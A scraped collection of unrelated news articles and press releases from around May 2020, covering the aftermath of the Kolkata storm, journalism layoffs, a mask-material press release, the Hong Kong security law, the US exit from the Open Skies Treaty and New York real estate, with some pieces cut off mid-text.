The state government has announced Rs 2.5 lakh ex-gratia for each deceased, and the Centre has announced Rs 2 lakh.

Forty-eight hours after the storm struck, large parts of Kolkata, where at least 15 people have died, are without water or electricity.

Mobile network is still patchy, as is the Internet, in the few places where they are working in the state capital.

More than 400 traffic signal posts have reportedly been uprooted in the city alone.

There are long queues for water across the city.

IMAGE: A woman tries to protect her son from the heavy rain in Kolkata. Photograph: Rupak De Chowdhuri/Reuters

A top West Bengal bureaucrat, who tweets from a handle named after a literary character, has said that the city administration has been doing an outstanding job of clearing trees from the streets and restoring life to normal, but visuals are trickling in of Kolkata residents hitting the streets in protest in many areas, protesting being left without water or electricity.

In just Salt Lake, the Kolkata suburb that has been probably the least affected, more than 2,500 trees have fallen. The figure is around double for the entire city's green sentries.

Vendors and publishers on College Street, where most college students of the city buy their books from and where researchers dig for rare gems, have said the damage is unprecedented and without government help their lives would be destroyed.

Thousands of acres of farmland have been flooded in West Bengal, which is largely an agrarian economy.

This, in a poor region of an India that is already staring at negative GDP growth due to the COVID-19 infection.

If you mention the economy's co-morbidity predating that you are, of course, an anti-national.

Production: Aslam Hunani/Rediff.com
The dead of the battlefield come up to us very rarely, even in dreams, it editorialized. We see the lists in the morning paper at breakfast, but dismiss this recollection with the coffee. There is a confused mass of names, but they are all strangers; we forget the horrible significance that dwells amid the jumble of type ... Mr. Brady has done something to bring to us the terrible reality and earnestness of the war. If he has not brought bodies and laid them in our dooryards and along our streets, he has done something very like it.
IFJs North American Region met on May 13, to discuss and coordinate our response to the Covid/financial crisis facing our members and our industry. The meeting included the participation of Unifor (Canada), NWU (US), TNG-CWA (US), NUJ (UK and Ireland), and the Deputy General Secretary of IFJ. To underline the gravity of the situation, the representative from TNG-CWA Canada, was called away from the meeting by a new round of layoffs.

The pandemic and financial collapse have devastated an industry already in crisis long before these recent events unfolded. In the US, more than 25% of newsroom employees have lost their jobs over the past 10 years as hedge funds have taken over the industry, and more than 2,000 newspaper, weeklies and regional and local outlets have folded. According to The New York Times, since March more that 33,000 journalists have either been furloughed, laid off, or have taken wage cuts. According to one survey, approximately 80% of freelancers who have applied for Pandemic Unemployment Assistance in the US have yet to receive it as of May 1.

While journalists have been hard hit by the current crisis, our unions are actually entering into this battle from a position of relative strength, with The NewsGuild and the WGAE having organized more than 5,000 journalists since 2015.

TNG-CWA has avoided layoffs at least for the time being, at The Miami Herald and The Denver Post, and has convinced management at The Los Angeles Times and The Omaha World-Herald to offer a work sharing program that, under the complex terms of the federal stimulus, could actually result in some workers earning more taking one day-a-week furloughs than they did working full time.

The NWU has organized close to 300 digital-media freelancers since October, and recently joined with 12 other writer and media groups in sending a letter to House Speaker Nancy Pelosi seeking extended and improved benefits for freelancers during this crisis.

The IFJ NA affiliate unions are focused on protecting our members in the short run while creating a more stable industry in the future. This includes a combination of securing government funding for journalism in the US and Canada as a public good, and creating international pressure to tax GAFAM, especially Google and Facebook, which have sucked up much of the advertising revenue and posting news that they did not produce. This is the thrust of the IFJ Global Platform for Quality Journalism. The NewsGuild has launched a lobbying effort for government funding to support journalism, including grants to keep journalists on the payrolls.

We are planning on using a higher level of member activism and increased organizing against, like at Amazon, to fight for changes that could lead to a restructured and more secure industry on the other side of this storm.

Larry Goldbetter, President of the National Writers Union (NWA)
ENGLEWOOD, Colo., May 22, 2020 /PRNewswire/ -- Metro Screenworks is excited to announce the inclusion of VirusGuard, a revolutionary virus-filtering material, to their product offerings. VirusGuard can be utilized in several applications including creating masks, filters for masks, and constructing partitions and recently passed NH1 testing. The Denver-based screen company offers VirusGuard in bulk rolls and ships internationally.

Metro Screenworks VirusGuard

VirusGuard utilizes NanoScreen nanotechnology to restrict airborne, virus-carrying droplets, and is manufactured primarily to be made into masks and filters for masks. VirusGuard may help to increase the safety of personal masks as other safety materials may become scarce.

VirusGuard offers multi-faceted functionality and comes in two types: Type 9001 and 9002. Type 9001 has three layers and can be cut, sewn, and inserted into pre-made face masks. Type 9002 consists of five layers and is ready to be cut and sewn into PPE masks. Both types can be hand-washed without degrading their functionality, though machine washing isn't suggested. A Virus Guard mask can be worn 30 to 40 days with proper care. VirusGuard comes in white and black, though black requires extra manufacturing time.

VirusGuard is manufactured to be used for disposable and reusable safety masks. However, it lacks the resistance required for other applications like creating quarantine partitions. Allergy Guard, a related product, has the same potential virus-blocking capabilities as VirusGuard, but can be utilized for other applications, like constructing safety barriers and window screens, as well as creating filters.

Allergy Guard barriers are see-through and talk-through for effective team functionality in the field and are incredibly strong. Allergy Guard has a high puncture resistance of 487 Newtons, making it four-times stronger than conventional stainless steel window screen, which only has a puncture resistance of 114. Allergy Guard's strength, however, doesn't cause it to be cumbersome to manipulate. It can be cut to create custom barriers and used with materials such as heavy-duty duct tape, Gorilla tape, and other common means of attachment found in the field.

Allergy Guard was first retailed as a solution to allergies, allowing homeowners to open their windows, even during the height of allergy season, and enjoy fresh air without suffering from the effects of allergens. However, it isn't just insects and allergies that this material can keep out of your home. This screening material and VirusGuard can filter out pollution, bacteria, fly ash, dust, and other harmful substances.

Both VirusGuard and Allergy Guard can filter particles as small as 0.02 microns due to their use of nanotechnology, making the coronavirus, measuring 0.1-0.3 microns, easy work for these filters. Allergy Guard's porosity of 80% allows for excellent circulation; the CDC mentions that fresh air is vital for fighting the spread of coronavirus and for maintaining one's health. What's more, Allergy Guard is also extremely durable, provides UV and heat protection, corrosion resistance, moisture and rain protection, and is easy-to-clean. Allergy Guard can be purchased in pre-assembled window screens or bulk rolls.

The effectiveness of VirusGuard and Allergy Guard have been both lab-tested to meet or exceed ASHRAE 52.1 test standards.

To learn more and to order these products, visit MetroScreenworks.com .

About Metro Screenworks:

Metro Screenworks is a locally-owned and operated company in Denver offering custom window screen solutions for homeowners, contractors, and others needing window screens that will last and even provide more benefits than average, traditional screens. Metro Screenworks has been in business for over 40 years and ships some of the industry's top brands internationally. Find out more about their window screen, screen door, and patio enclosure product offerings at www.metroscreenworks.com .

Media Contact:

Randy Wilson

[email protected]

888-219-8204

SOURCE Metro Screenworks

Related Links

http://www.metroscreenworks.com


Rick Leonard, former director of Sales and executive vice president with SUNZ Insurance Solutions, has been appointed president of the company.

Leonard has been with SUNZ, a national provider of workers compensation insurance, for nearly 10 years and initially joined as Broker Relations executive. Leonard became director of Sales, where he was an integral part in the evolution and strategic growth of the company.

Leonards background consists of retail broker experience, field sales, marketing, loss control, and client relations. He has more than 18 years of experience in the insurance industry and has been managing a sales team within SUNZ.

Leonard holds both the Certified Workers Compensation Professional (CWCP) and Accredited Advisor in Insurance (AAI) designations.

SUNZ Insurance is a national provider of large deductible workers compensation insurance and insurance services to professional employer organizations, staffing companies, and large employers. SUNZ designs and administers custom workers compensation and insurance programs, and provides loss control, claims administration, cost containment, and subrogation services.

Topics Florida Workers' Compensation
VMware India announced the signing of MoU with the WE HUB, a Government of Telangana initiative for women entrepreneurs, to extend VMinclusion Taaras upskilling and return to work program in the State. With this MoU, VMware and WE HUB aim to empower women with the skills they need to return to their dormant/ interrupted technology careers. The aim is also to provide a platform for deeper and better networking opportunities for women in technology to be a part of the economic workforce of the state. WE HUB aims at providing a platform by enabling skill upgradation, networking opportunities and the career options for Women returning to workforce in Telangana. As part of the collaboration, WE HUB will be integrating modules on entrepreneurship as an addition to the curriculum so the various opportunities available for Women planning a return to the work force can utilize.

Through VMinclusion Taara, VMware continues to work towards upskilling up to 15,000 women, by providing free technical education and certification courses on digital business transformation technology. Those who enroll will have access to courses on VMware technology (Basics, Intermediate & Advanced Certification) and become VMware Certified Professionals. Upskilling and certification courses on cloud computing, virtualization, and networking are invaluable for women trying to rejoin the workforce after a hiatus or for those working to build their business in this era of technology disruption.

Over 5,000 women have already registered for the program in little more than a year since its launch, and the numbers continue to grow. Taara graduates across the country have also successfully restarted their careers after completing the program, bearing witness to the industrys growing acceptance and requirement for women technologists.

WE HUB will help enrol women in Telangana who wish to return to the workforce, so they can get up-to-speed with the skills needed to be effective in the ever-evolving tech industry. Candidates will be selected for the programme on a first-come-first-serve basis subject to the following eligibility criteria:

Women who are citizens of India and reside within the territorial jurisdiction of India can enroll in the programme.

It is an upskilling and return-to-work programme.

Any Indian woman who has not been employed with any company (whether in India or overseas) for six months or more is eligible to apply for the programme.

Any woman who has completed her graduation at least six months earlier and has not yet found employment can also enroll for the programme to become a VMware-certified professional.

This program is only open for women who are citizens of India and reside within the territorial jurisdiction of the country and who have not been working for six months or more. It is also open to women who have completed their graduation at least 6 months ago and not yet found employment. Since the program is delivered online, it is self-paced and free of cost, it is easier for women on a break to complete the course based on their schedule.

Jayesh Ranjan, IAS, Principal Secretary to the Government. Of Telangana, IT E&C said, The Telangana Government has always been at the forefront of bringing in policies and initiatives for increased participation of women by building ecosystem enablers like WE HUB. As a state, we identify that womens contribution to Indias GDP stands at 18%, one of the lowest in the world, reflecting the fact that only 25% of Indias labour force is female. Mainstreaming career returns and normalizing career breaks can push the needle and help reverse the trend of the declining labour force participation rate of women. It can help businesses infuse greater gender diversity in the workforces and can also have incremental influences on the state and countrys GDP. We are glad to have an opportunity to see the collaboration between with WE HUB and VMware to create a greater impact in the society and help the women in Telangana through the joint partnership with the innovation and entrepreneurship program.

Deepthi Ravula, CEO, WE HUB said, In the course of our work to bring more women into Entrepreneurship, we have identified the huge opportunity and potential we are missing out on due to women who have not been able to return to the workforce. When it comes to challenges for women returning to work, multiple studies have found that the absence of a strong network and skill gap are the two barriers listed on top, according to 59% and 36% of respondents, respectively. While WE HUB has built a strong network, we are glad to partner with VMware, a pioneer in its diversity initiatives to reduce the skill gap. We are also including components of entrepreneurship into the course of our collaboration with Taara so we can motivate more female tech entrepreneurs.

Duncan Hewett, VMware senior vice president and general manager, Asia Pacific and Japan said, We welcome the Government of Telanganas support to partner with VMware for VMinclusion Taara by signing a joint Memorandum of Understanding today and committing to support the career growth of women in technology. VMware has a long-term commitment to Indias digital infrastructure and digital skills. We are encouraged by the positive response to the VMinclusion Taara program in India so far which has helped more than 5,000 women to register to take a step towards returning to work. VMwares public-private sector partnership with WE HUB will encourage more women in India to successfully grow their career at a time when digital skills are more critical than ever before. I am excited at the possibility that VMware and WE HUB will now be taking the message of diversity and inclusion into every region of Telangana. VMware looks forward to continued collaboration with central and state governments across India to further the interest of women in technology.

Ms. Anita Vijaykrishnan, vice president of IT, VMware India said, Diversity and inclusivity is one of the key values at VMware. Our program, VMinclusion Taara provides a way of rebalancing the gender gap in the Indian technology sector. We believe that a more diverse IT workforce is crucial for establishing India as a global innovation hub. Together, WE HUB and VMware can make a tremendous difference to workforce diversity in India and help bridge the gender gap by enabling women to network and innovate alongside other women in STEM. We are confident that this partnership will encourage more women to pursue careers in the technology industry.

VMware is committed to empowering women in India by helping them build their skills, providing access to technology, and giving them tools they need to support their learning. Over the years VMware has made several concerted efforts to leverage its technologies and platforms for education and up-skilling to not only impact enterprises and organizations but also to assist individuals. This collaboration is an extension of that effort, where both organizations will leverage each others strengths and assist women to access more opportunities both as job seekers and entrepreneurs. The aim is to enable women to participate and embrace these opportunities to achieve their potential, despite the challenges faced.
At the end of every Cannes Film Festival, juries of cinematic eminences deliver verdicts on the films in competition. The name of the top prize has changed over time  from Palme dOr to Grand Prix and back again  but the winners include a roster of modern classics.

This years prizes would have been announced on Saturday, but the festival was canceled because of the pandemic. Instead, our chief critics, Manohla Dargis and A.O. Scott, have selected some of their favorites, and a few that dont shine quite so brightly.

Bravo!

Rome Open City

Directed by Roberto Rossellini, 1946

Stream it here.
Australia, Canada and the United Kingdom have issued a joint statement criticising the Chinese government's move to impose restrictive national security laws on Hong Kong in response to long-running pro-democracy protests in the territory.

The three Commonwealth countries warned the Chinese Communist Party's planned laws forbidding treason, secession, sedition, and subversion against the Central People's Government in Beijing would "clearly undermine" Hong Kong's autonomy and its citizens' civil liberties.

Hong Kong police face off against protesters in a shopping centre in April this year. Credit:Getty

Chinese Premier Li Keqiang announced the planned "enforcement mechanisms" in a speech to the country's ceremonial legislature this week, saying China would respect the "one country, two systems" principle that gives Hong Kongers significant control over their own affairs.

But in a statement on Saturday Australian Foreign Minister Marise Payne, British Foreign Secretary Dominic Raab and Canadian Minister for Foreign Affairs Francois-Philippe Champagne said they were deeply concerned China had decided to legislate overrule the territory's legislature.
Good morning, Bay Area. Its Friday, May 22, and the University of California is making a big change in admissions requirements. Heres what you need to know to start your day.

More than two months into the COVID-19 pandemic, county officials and health care providers across the Bay Area still face bewildering roadblocks in their efforts to procure sufficient supplies of personal protective equipment, or PPE.

Accessing steady streams of vast amounts of medical gowns, gloves, masks and disinfectant has presented unprecedented logistical challenges that officials are only now starting to smooth out, thanks largely to their ability to buy from reliable suppliers  a process that took considerable time to figure out.

And as Dominic Fracassa reports, some health care workers say they still feel vulnerable.

More: How Bay Area dentists are adjusting, even as personal protective equipment is scant and health guidelines sometimes contradictory.

Counties lag on coronavirus testing

Gabrielle Lurie / The Chronicle

Just three of the nine Bay Area counties are conducting enough daily coronavirus tests to meet state standards to safely reopen  yet all are moving forward to lift shelter-in-place restrictions.

Napa, Solano and Sonoma counties say they have met the testing benchmark set by Gov. Gavin Newsom  150 tests per 100,000 people each day, the number Harvard researchers estimate will capture most positive cases in a community.

The remaining six counties, which collectively set a more aggressive goal of 200 daily tests per 100,000 people, have yet to meet the benchmark. None has met the lower, state-set benchmark of 150 tests per 100,000 people, either.

Read more from Catherine Ho about why health officials say they havent met their testing goals.

Plus:

 A UCSF doctor sees mysterious swelling of feet in children, possibly coronavirus-related.

 Contra Costa County D.A. opens an investigation into the deadly COVID-19 outbreak at an Orinda nursing home.

Complex calculus to navigate pandemic

As America lurches toward reopening from weeks of coronavirus shutdowns that ravaged the economy, we are conducting a high-stakes experiment with countless variables. Economists and ethicists seek ways to balance all the competing perspectives.

Some states and cities seem to view it as an all-or-nothing choice, rushing to open restaurants, tattoo parlors, barbershops, malls and factories. But many ordinary Americans are more cautious, preferring to stay cloistered for fear of contagion.

The recipe followed by California and the Bay Area for slow and gradual reopening  with ample testing and tracing  suggests there is a middle way.

Reporter Carolyn Said examines a complicated issue: How do we mitigate the worst effects of both the virus and the measures we undertake to prevent its spread?

UC will drop SAT and ACT requirement

In a landmark move that could reshape the college admissions process across the country, the University of California Board of Regents voted Thursday to drop the SAT and ACT testing requirement.

The unanimous decision adopted UC President Janet Napolitanos proposal to make standardized tests optional for two years, then become test blind for two years. In 2025, UC will either replace the SAT and ACT with a new, UC-specific admissions test or eliminate the longtime tests altogether.

Read more from Ron Kroichick about the move that punctuated years of contentiousness surrounding standardized testing at UC.

Jobless filings jump in California

A U.S. economy already wounded by the coronavirus bled 2.4 million more jobs last week, though claims for the week ending May 16 declined 9.3% from the previous week.

But in California, 246,115 people filed for unemployment  an increase of 15.7% week over week and an alarming reversal of a downward trend in job losses.

Experts called Californias spike in unemployment claims a worrying sign. As Chase DiFeliciantonio writes, it could suggest businesses that had held off from laying off employees in the early stages of shelter-in-place are now doing so.

Meanwhile: More than 3.6 million homeowners nationwide were past due on their mortgages at the end of April, the most since January 2015, columnist Kathleen Pender reports.

More: Facebooks embrace of remote work could reshape the Bay Areas economy.

Around the Bay

Paul Chinn / The Chronicle 2019

 Its Memorial Day weekend: How to honor the holiday virtually in the Bay Area with our list of events and activities. Also: Check out the weather forecast. Map: Where you can hike, run and get outside right now in the Bay Area.

 Celebration set: SF Pride announces the lineup for its 50th anniversary virtual celebration in June.

 Outlook unclear: The Stud, San Franciscos oldest gay bar, charts an uncertain future after announcing its temporary closure.

 Tesla plant restarts: The electric car maker winds down unpaid coronavirus leave as its Fremont factory reopens.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

 Political dilemma: Trump-averse Republicans face a decision: Do you vote for a GOP candidate who supports the president? Also: Republicans move to disown a Central Valley candidate over his social media posts.

 Ruling reversed: Californias Supreme Court reinstates an Alameda County jury verdict against a pipe supply company for fatal cancer from asbestos.

 Going to court: California prisons are accused of illegally withholding parole records on race and ethnicity.

 Plea deal: Full House actress Lori Loughlin and her husband agreed to plead guilty to conspiracy charges in the high-profile college admissions scandal, prosecutors say.

 Talking turkey: An aggressive gobbler named Gerald is alarming visitors at an Oakland park and raising a stir on Nextdoor.

 Circles in the grass: Four San Francisco parks get social distancing markings.

 Ann Killion: Despite Olympic postponement because of the coronavirus, Marin Countys Kate Courtney rides on.

ICYMI: The benefits of brandy

Stephen Lam / Special to The Chronicle

Oakland beverage director Mark Guillaudeu wants you to drink more brandy. Not just because it tastes great, but also because it might help mitigate the effects of climate change.

If it sounds like a stretch, hear him out. By definition, brandy is made from fruit. That means its source material is fruit trees, which are perennials. Grapevines, apple trees and pear trees can live for decades, even centuries.

Whiskey, vodka and most gin, by contrast, are usually distilled from annual crops like grain and potatoes. Just think about the carbon load of that type of agriculture, Guillaudeu says.

While the fact of making fruit-based spirits doesnt guarantee holistic farming practices, he says, it at least makes those practices possible.

Also, its delicious. Wine critic Esther Mobley shares his guide to Cognac, Armagnac, Calvados and more. Plus a cocktail recipe.

Drinking With Esther: Rose is the only thing keeping me sane during the coronavirus shutdown. Subscribe to the newsletter here.

Bay Briefing will return Tuesday, May 26, after the Memorial Day holiday weekend.

Bay Briefing is edited by Taylor Kate Brown and sent to readers email inboxes on weekday mornings. Sign up for the newsletter here, and contact Brown at taylor.brown@sfchronicle.com.
Beyond Meat is one of the hottest stocks this quarter, rising by more than 100% in less than two months.

BTIG is ready to get even more bullish on the alternative-meat company: It firm initiated a buy rating this week with an $173 price target, implying 25% upside.

Analyst Peter Saleh, the firm's managing director of restaurants research, is pegging Beyond's success to one key demographic.

"It's really resonating with a young female consumer in the urban environment," Saleh told CNBC's "Trading Nation" on Thursday. "That's really what's been driving a lot of the sales especially at the restaurants recently, so you know I think that continues and I think you see it become more ubiquitous."

Saleh expects young females along the coasts to adopt the trend, which should then fan out to the middle of the country. Customer loyalty is also contributing to sales growth, he added.

"What we really like about this story is you're seeing the repeat rates of about 46% at least in the grocery store, which tells us that there's really strong demand for this product, and I think you're going to see more of it coming to menus at restaurants near you," said Saleh.

Beyond's partnerships with nationwide chains is already fueling gains, he said. Starbucks and Dunkin' already carry the product in the U.S., and McDonald's is testing it in Canadian stores.

"They're at about 34,000 locations in the U.S. in terms of restaurants. Now, that's only about 5% of the U.S. restaurant doors that they can get into, so I think there's a lot more opportunity not only on the sausage or beef side but also on the poultry side. I think they're working aggressively to expand that as well," said Saleh.

Beyond more than doubled its total sales in its first quarter ended March. It is expected to post full-year sales growth of 53%.

Disclaimer
That was the case in the December 2018 trial of two women accused of arson, in which Reade was brought to the stand by the prosecution to explain why a witness to the alleged events had changed his story from saying he had seen two women running from the scene to saying he had witnessed two men, according to Soltesz, the attorney for one of the women.
Trump Confirms US Withdrawal From Open Skies Treaty, Says New Deal Possible

Sputnik News

16:44 GMT 21.05.2020(updated 20:35 GMT 21.05.2020)

Earlier in the day, the New York Times reported, citing a source in the US presidential administration, that Washington plans to inform Moscow on Friday about its intention to withdraw from the Open Skies Treaty.

The US "will pull out of the Open Skies Treaty", President Donald Trump said.

Trump also said that he has a good relationship with Russia but Moscow did not adhere to the Open Skies Treaty allowing unarmed surveillance flights over member countries.

"Russia didn't adhere to the treaty, so until they adhere we will pull out, but there's a very good chance we'll make a new agreement or do something to put that agreement back together," Trump said.

The Pentagon on Thursday accused Russia of violating the Open Skies Treaty amid reports of the US decision to withdraw from it, Assistant to the Secretary of Defense Jonathan Hoffman told reporters on Thursday.

"Russia flagrantly and continuously violates its obligations under Open Skies, and implements the Treaty in ways that contribute to military threats against the US and our allies and partners," Hoffman said.

US Secretary of State Mike Pompeo has accused Russia of using Open Skies imagery to target critical infrastructure in the US and Europe with precision-guided conventional munitions. He added that Washington may reconsider its withdrawal from the treaty "should Russia return to full compliance" with it. Pompeo added that the US will not be party to the Open Skies Treaty effective six months from tomorrow.

"Tomorrow, the United States will submit notice of its decision to withdraw from the Treaty on Open Skies to the Treaty Depositaries and to all other states parties to the Treaty. Effective six months from tomorrow, the United States will no longer be a party to the Treaty," Pompeo said. "We may, however, reconsider our withdrawal should Russia return to full compliance with the Treaty."

Russia has repeatedly denied US accusations of violating the treaty.

Moscow rejects any attempts to justify withdrawal from the Open Skies Treaty by the presence of some technical issues, the deputy foreign minister added.

According to Russia's Foreign Ministry, the US withdrawal from the treaty will undermine the fundamental agreement that strengthened security in Europe.

The Open Skies Treaty on observation flights has helped build a higher level of trust in terms of military, Mikhail Ulyanov, Russia's permanent representative to international organizations in Vienna, said.

"It is easier to break than to build. The treaty worked for two decades and ensured transparency, a higher level of trust on military issues in the transatlantic region. But the decision to leave, apparently, explains the US idea of a 'new era' of arms control. The 'new era' seems to mean no control. This is sad," the diplomat said.

"The United States decided to cut down one more multi-party treaty on arms control, this time, the one that was initiated by the United States itself," Ulyanov said.

Apart from the US and Russia, the Open Skies Treaty comprises thirty-two countries.

A Sputnik

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BAKU, Azerbaijan, May 22

By Rufiz Hafizoglu  Trend:

Cement export from Turkey to Russia soared past $27.5 million from January through April 2020, which is 53.4 percent more compared to the same period in 2019, Turkeys Ministry of Trade told Trend on May 19.

In April 2020, cement export from Turkey to Russia decreased by 2 percent compared to April 2019 and amounted to nearly $5.7 million.

Turkeys export of cement to international markets from January through April 2020 made up over $1.1 billion, which equals to the indicator in the same period of 2019.

The cement export from Turkey amounted to 2.2 percent of the countrys total export from Jan. through Apr. 2020.

"Turkeys export of cement to international markets amounted to $231.7 million in April 2020, which is 25.5 percent less compared to the same month of 2019," the ministry said.

In April of this year, Turkeys export of cement to international markets amounted to 2.6 percent of the countrys total export.

"During the last twelve months (from April 2019 through April 2020), Turkey exported cement worth $3.5 billion," added the ministry.

---

Follow the author on Twitter: @rhafizoglu
Secretary of Defense Mark Esper with President Donald Trump, outside the White House on May 15, 2020. (Mandel Ngan/AFP via Getty Images)

Esper: US Watching China Very Carefully

The United States is watching China very carefully, Secretary of Defense Mark Esper said Friday.

Esper told radio host Hugh Hewitt that the current era features competition between great powers, with the United States biggest competitor being China.

My challenge is to implement that strategy and pivot toward China and make sure we deal with it, and that we avoid a hot war with China, but at the same time, we stand up for our values, we stand up for the international rules-based order, and we stand up for those things that Americans hold dear, Esper said.

A Chinese Communist Party-run newspaper last week quoted a Chinese military expert saying training exercises can turn into action any time if Taiwanese officials try to secede from China.

Would such an attack be an act of war?

Look, we watch China very carefully. They should be cautious about they do. We regard any type of military action like that very gravely, Esper responded.

A Communist Chinese Party destroyer in the sea near Qingdao on April 23, 2019. (Mark Schiefelbein/AFP via Getty Images)

And I am confident that America will stand up for its allies and partners, and again, defend the international rules-based order. Weve got the greatest military in the world, and certainly the greatest Navy that history has known. And we will defend our allies and partners.

The top military official stressed later that America will defend our allies.

Taiwan has seen broad support from the United States, including the establishment in 1979 of substantial relations between America and Taiwan.

U.S. officials have recently joined calls for Taiwan to be let in as a full member of the World Health Organization, an entry which China and other members have repeatedly blocked.

Esper was speaking after the White House in a new assessment called the communist partys aggressive military moves part of a pattern of malign behavior.
A 60-year-old migrant worker, who was returning home to Odishas Ganjam district from Gujarat in a bus, died while travelling and 40 others were injured in a separate incident in the state, officials said on Thursday.

Officials said Bhaskar Nahak of Aska in Ganjam was aboard a bus carrying migrant workers when he felt uneasy. His co-passengers found him dead as the bus was nearing Lakhanpur on National Highway-49 in Jharsuguda district late on Wednesday evening.

Officials of the Jharsuguda district administration stopped the bus at Jharsuguda town and sent the body for an autopsy.

In another incident, 40 migrant workers suffered injuries after a bus carrying them overturned on NH-60 near Laxmannath Toll Plaza in Jaleswar area of Balasore district early on Thursday.

The workers were travelling from Kerala to West Bengals Kolkata in a bus when the driver lost control over the wheels due to darkness.

Odishas tally of the coronavirus disease (Covid-19) rose to 1,105 with the reporting of 42 new cases. Of the 1,105 cases, more than 1,000 have been reported in migrant workers who have returned from other states.

An 85-year-old man, who had returned from Gujarats Surat, died in a quarantine centre in Ganjam district on Thursday taking the death toll to seven.
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New York City's real estate market continues to be battered by the coronavirus lockdown and is likely to keep suffering with no end to the current lockdown in sight.

One major commercial landlord said 80 percent of their retail tenants missed rent payments in April and May and others are reporting that even companies that have healthy finances are simply choosing not to meet their lease agreements, amid growing uncertainty over how many businesses will actually work in offices in the future.

Residents are also abandoning their expensive apartments by breaking their leases or failing to renew them to wait out the crisis in more comfortable surroundings. For the rich, that means spacious homes in the Hamptons and upstate and for the young, it is their parents' suburban homes.

The knock-on effect is an 'alarming' drastic reduction in the number of landlords who will be able to pay their tax bills on July 1 which will result in devastating losses in tax revenue for the city and, in turn, the state.

In April, NYC and the state collected just $78.5million in tax revenue on the sale of commercial and residential properties, down from $217.5million in March.

Tax revenues pay for the city's essential services like road repairs, sewage systems, police and fire fighters. Those will take a hit if the situation continues.

'This dramatic loss in tax revenue is alarming. The real estate sector is the citys economic engine.

An abandoned 42nd Street in midtown earlier this month after offices closed. The city's real estate market has taken a hammering from the pandemic

Eighty-percent of one landlord's retail tenants failed to pay rent in April and May as the lockdown forced NYC's budding shopping scene closed indefinitely

'The pandemic has caused that engine to stall and we should expect such alarming trends to carry through May and June in the best-case scenario,' James Whelan, President of the Real Estate Board of New York, said in a statement on Wednesday.

66% OF STAFF FROM BIG TECH SAY THEY'D RELOCATE IF WORKING FROM HOME BECOMES PERMANENT A survey of staff from major tech firms including Facebook, Uber, Twitter and Google has revealed that 66 percent would move out of big cities if working from home becomes more permanent. The survey, by Blind, asked staff from more than 4,000 companies in Seattle, San Francisco and New York if they would relocate after working from home as part of the COVID-19 crisis. The majority - 66 percent - said they would consider a move. While the number of respondents represent only a sliver of each's workforce, it fits with a growing trend of companies telling staff they can work from home permanently. The results vary by company and by region and the majority of the respondents (2,768) worked in the Bay Area. Thirty-three percent of Bay Area residents said they'd stay, 27.49 percent said they'd move out of the city and 27 percent said they'd move out of California. Eleven percent said they'd even leave the US. A third of the New York workers also said they'd stay in the city, 17 percent said they'd leave the city, and 35 percent said they would leave the state Fifteen percent said they would move overseas. In Seattle, 37 percent said they would stay in the city, 19 percent said they'd leave but stay in-state, and 26 percent said they would move out of state. Sixteen percent said they'd leave the country. Fourteen percent of the workers said they anticipated never going into the office again, and 44 percent said they imagined only going in once or twice a week. Only 15 percent said they imagined going in every day again. Of the 354 Amazon employees from Seattle who answered, 32 percent said they would stay put, 24 percent said they would move out of the city and 26 percent said they would leave the state. Thirty-one percent of the Google employees from the Bay Area interviewed said they would move out of state. Advertisement

Some say buildings will not be able to operate for another month if they don't start collecting rent.

'There are hundreds of buildings in New York City operating at a loss because of COVID-19, and many of them will not be able to survive another month without help.

'If officials do not immediately target relief to lower-income renters and small owners who have mounting monthly expenses, they will not be able to reverse the damage this crisis will have on our city,' Jay Martin, Executive Director for the Community Housing Improvement Project, said.

In the residential market, rent prices are being driven down. Between April and May, 70 percent of listings on StreetEasy - the most used house hunting website - were reduced.

Brooklyn saw the biggest decline, with rents being brought down by three percent. Typically, cheaper apartments are seeing the biggest decline.

'The low end of each segment of the market has been more challenged in this market.

'Therefore theres a higher probability that theres negotiating on existing leases, whether its a deferral or a short-term discount off of existing rent.

'And that information is not in the public domain at all,' Jonathan Miller of Miller Samuel told The Commercial Observer earlier this month.

It means that when agents are once again allowed to show apartments to prospective tenants, there will be a rush for the lower-priced units that should drive prices down across the entire market.

There is a moratorium in place that means no business or person can be evicted from their apartment or place of work for failing to pay rent.

At present, the rules are that they will have to pay back what they don't pay now, but with many pondering whether or not they should even stay in the expensive city when they can't enjoy it, the number of rent payments coming in is likely to continue to decrease.

Vorndado, one of the city's biggest landlords, told investors on a recent earnings call that 80 percent of its retail tenants did not pay rent in April and May. Forty percent of its office tenants also skipped payments.

Empire Realty Trust reported that a quarter of its office tenants did not pay rent.

CEO Anthony E. Malkin told The New York Times: 'They think of this as some sort of field day. Im shocked, candidly.'

In April, SL Green, the largest corporate landlord, collected 90 percent of its office rent but only 65 percent of its retail rent.

The Financial District has been a ghost town since the lockdown began and it's unclear how many of the businesses that occupy huge offices there will return

THE YOUNG AND THE RICH FLEE FOR THE SUBURBS The first wave of people to flee New York City were the wealthy. They flocked to the Hamptons, where many own second homes, or more rural parts of the state to try to ride out the crisis. Some, who did not own, rushed to get their hands on rental properties for inflated prices. Now, some are permanently putting down the roots because the situation in the city remains so precarious. In Connecticut, real estate brokers have seen a 'tidal wave' of interest in properties. 'One  called me up and said, "Do you know of anything else?" Mark Pruner, an agent for Berkshire Hathaway Home Services New England Properties, told The New York Post. 'She lives in a beautiful, 10-story coop on Park Avenue in New York, but every time [she] gets in the elevator  she is afraid,' he added. It's not just the wealthy fleeing the city. Scores of younger residents are trying to get out of their leases or fill their rooms because they either can't work or they can't enjoy the city. They are going back to their parents' houses in the suburbs. 'The draw of the city is the social life, the dating scene, bars, restaurants, the ability to do fun things on the weekend, it makes a lot of sense to just abandon ship and go back to your parents,' Deniz Kahramaner, the founder of data-driven real estate brokerage Atlasa, told Bloomberg. Advertisement

It remains to be seen how many companies will ever return to the offices they once occupied.

In a recent survey by Blind of employees from Amazon, Microsoft, Lyft, Uber, Facebook and others, 35.67% said they'd move out of New York to a different state if working from home became more permanent.

Fourteen percent said they anticipate never going back to the office, 39 percent said they anticipate going back to the office just one or two days a week.

Twitter has already told employees they can work from home permanently for the rest of their time with the company, and Facebook and Google are also weighing more permanent options.

What will become of their expansive, expensive Manhattan office spaces as a result remains unknown.

While residential and commercial tenants are still bound by their leases per the moratorium now, there's growing uncertainty over whether that will always be the case.

'Landlords ability to enforce the legal terms of their lease has been completely kicked out from under them,' Jane Lok, a landlord who collected half of what she normally does this month, told the Times.

To compound difficulty for the landlords, they can't borrow from banks because real estate is such a risky investment.

Businesses and Conservative pundits are calling for the city to reopen on May 28, claiming the lockdown is going on too long and bleeding them dry unnecessarily.

